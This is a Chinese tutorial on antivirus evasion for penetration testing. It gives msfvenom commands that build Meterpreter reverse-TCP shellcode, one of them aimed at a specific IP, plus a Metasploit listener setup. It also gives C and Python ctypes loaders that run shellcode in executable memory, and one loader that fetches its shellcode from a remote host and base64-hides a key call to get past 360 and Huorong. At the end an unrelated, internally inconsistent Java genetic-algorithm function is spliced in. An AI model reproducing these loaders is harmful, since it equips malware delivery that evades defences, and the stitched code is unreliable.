0x01 免杀分类
渗透测试中常需要免杀马,这块的内容交叉且形式多样。常见的免杀方式,源码混淆、DLL文件替换、文件修改、加壳、花指令免杀、签名等。免杀的内容比较偏向破解、反编译范畴的安全研究,也是武器库中的必不可少的部分。本文章是系列教程,各种免杀方式都会涉及,本次分享的是源码免杀。
0x02 源码免杀
这里以Python做免杀为例,其他语言如C#、GO、Ruby等免杀思路相同。
免杀的大致步骤可以分为如下,视情况可以采用部分步骤:
加载器选择-ctypes-DLL&其他,加载shellcode的组件
加密器选择-base64&hex&xor&aes,加密shellcode的组件、异或
执行器选择-github上不是一大堆,用于执行shellcode的组件
打包器选择-pyinstaller&py2exe,把代码打包成可执行文件的组件
免杀思路一:msf生成C语言shellcode,编写C程序调用shellcode生成exe可执行文件
其实这部分无作任何免杀,只是换了调用方式,但还是能过电脑管家的(无语)
msf操作步骤:
1 2 3 4 5 6 7 #生成C语言shellcode,此处生成的shellcode是程序执行在内存中的状态 msfvenom -p windows/meterpreter/reverse_tcp lhost=yourip lport=6688 -f c #监听主机上线 use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set lhost 0.0.0.0 set lport 6688
C语言调用二进制生成exe代码(需要采用32位执行):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 #include <Windows.h> #include <stdio.h> #include <string.h> #pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"" ) unsigned char buf[] = "shellcode" main() { char * Memory; Memory = VirtualAlloc(NULL , sizeof (buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); memcpy (Memory, buf, sizeof (buf)); ((void (*)())Memory)(); }
免杀思路二:利用msf生成加密的C语言shellcode,再利用python去调用(免杀思路一是采用C语言调用)
python采用ctypes模块引用&执行C语言代码
此处讲解个Python调用C语言生成的动态链接库的小案例:
vs生成dll文件小tips:(生成解决方案):
1 2 3 4 #include <stdio.h> extern "C" _declspec(dllexport) void TestCtypes () { printf ("I like eating you\n" ); }
python采用ctypes调用生成的dll文件:
1 2 3 4 5 from ctypes import *lib=CDLL('./Dll1.dll' ) lib.TestCtypes()
此处打包器选择pyinstaller
msf生成base64加密shellcode:
1 msfvenom -p windows/meterpreter/reverse_tcp --encrypt base64 lhost=47.94.236.117 lport=6688 -f c
python调用Ctypes模块解码调用shellcode(注:此处python必须为32位的)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 import ctypesimport base64encode_shellcode = ''' ''' shellcode = base64.b64decode(encode_shellcode) rwxpage = ctypes.windll.kernel32.VirtualAlloc(0 , len (shellcode), 0x1000 , 0x40 ) ctypes.windll.kernel32.RtlMoveMemory(rwxpage, ctypes.create_string_buffer(shellcode), len (shellcode)) handle = ctypes.windll.kernel32.CreateThread(0 , 0 , rwxpage, 0 , 0 , 0 ) ctypes.windll.kernel32.WaitForSingleObject(handle, -1 )
pyinstaller.exe -F -w miansha-df.py #用于将py文件生成exe文件 (注:此处python必须为32位的)
免杀思路三:外部shellcode加载+特征语句定位加密(过hr、360)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 import ctypesimport requestsimport base64encode_shellcode = requests.get("http://yourip/123.txt" ).text shellcode = base64.b64decode(encode_shellcode) rwxpage = ctypes.windll.kernel32.VirtualAlloc(0 , len (shellcode), 0x1000 , 0x40 ) func=base64.b64decode(b'Y3R5cGVzLndpbmRsbC5rZXJuZWwzMi5SdGxNb3ZlTWVtb3J5KHJ3eHBhZ2UsIGN0eXBlcy5jcmVhdGVfc3RyaW5nX2J1ZmZlcihzaGVsbGNvZGUpLCBsZW4oc2hlbGxjb2RlKSk=' ) exec (func)handle = ctypes.windll.kernel32.CreateThread(0 , 0 , rwxpage, 0 , 0 , 0 ) ctypes.windll.kernel32.WaitForSingleObject(handle, -1 )
注意点:
1.python执行C语言shellcode时需要使用python3 32位,打包成exe文件也需要使用32位的,win10上打包生成的exe在win7环境下会报错,要选择相应版本打包。
2.msf生成shellcode时,有无base64加密生成的shellcode形式相似,类似”x2f\x4f\x69\x50\x41”
2.1.本文中默认生成的shellcode是C语言shellcode码,是把byte码用十六进制来表示
2.2.添加base64加密生成的是base64加密的shellcode,同样是把byte码用十六进制来表示。在调用时需要把十六进制转化为字符串,为了方便起见,免杀思路三中的放在服务器上的123.txt在十六进制转换的字符串,便于操作,否则需要本地再次转换。
附带科普下,内存运行编码的各种概念。
内存大小是使用byte为单位的,msf生成的byte码是执行在内存时的编码,为16进制,而python在打印时会自动将十六进制编码转换为字符串,下面的python代码打印的结果为AVlNXa。
1 2 test = "\x41\x56\x6c\x4e\x58\x61" print (test)
0X1 = 1byte 0X10 = 16 byte 0X100 = 1616 byte = 256 byte 0X1000 = 16 256 byte= 4 * ( 4 * 256byte) = 4 * 1024 byte =4K byte 0X1 0000 = 16 * 4K byte = 64K byte 0X10 0000 = 16 * 64K byte = 1024K byte = 1M byte 0X100 0000 = 16 * 1M byte = 16M byte 0X1000 0000 = 16 * 16M byte = 256M byte 0X1 0000 0000 = 16 * 256Mbyte = 4 (4 256) Mbyte = 4*1024Mbyte=4Gbyte
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 public static Pop evPop (Pop pop, RuleBean rule) { Pop new1 = new Pop (pop.getLength()); int elitismO; if (elitism) { elitismO = 1 ; Paper fit = pop.getFitness(); fit.setId(0 ); new1.setPaper(0 , fitness); } for (int i = elitismO; i < new1.getLength(); i++) { Paper parent1 = select(pop); Paper parent2 = select(pop); while (parent2.getId() == parent1.getId()) { parent2 = select(pop); } Paper child = crossover(parent1, parent2, rule); child.setId(i); newPopulation.setPaper(i, child); } Paper tmpPaper; for (int i = elitismOffset; i < newPopulation.getLength(); i++) { tmpPaper = new1.getPaper(i); mutate(tmpPaper); tmpPaper.setKpCoverage(rule); tmpPaper.setAdaptationDegree(rule, Global.KP_WEIGHT, Global.DIFFCULTY_WEIGHt); } return new1; }